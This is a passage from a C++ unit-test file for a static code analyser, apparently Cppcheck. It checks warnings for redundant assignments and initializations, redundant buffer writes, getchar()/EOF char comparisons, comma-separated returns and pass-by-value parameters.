41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. 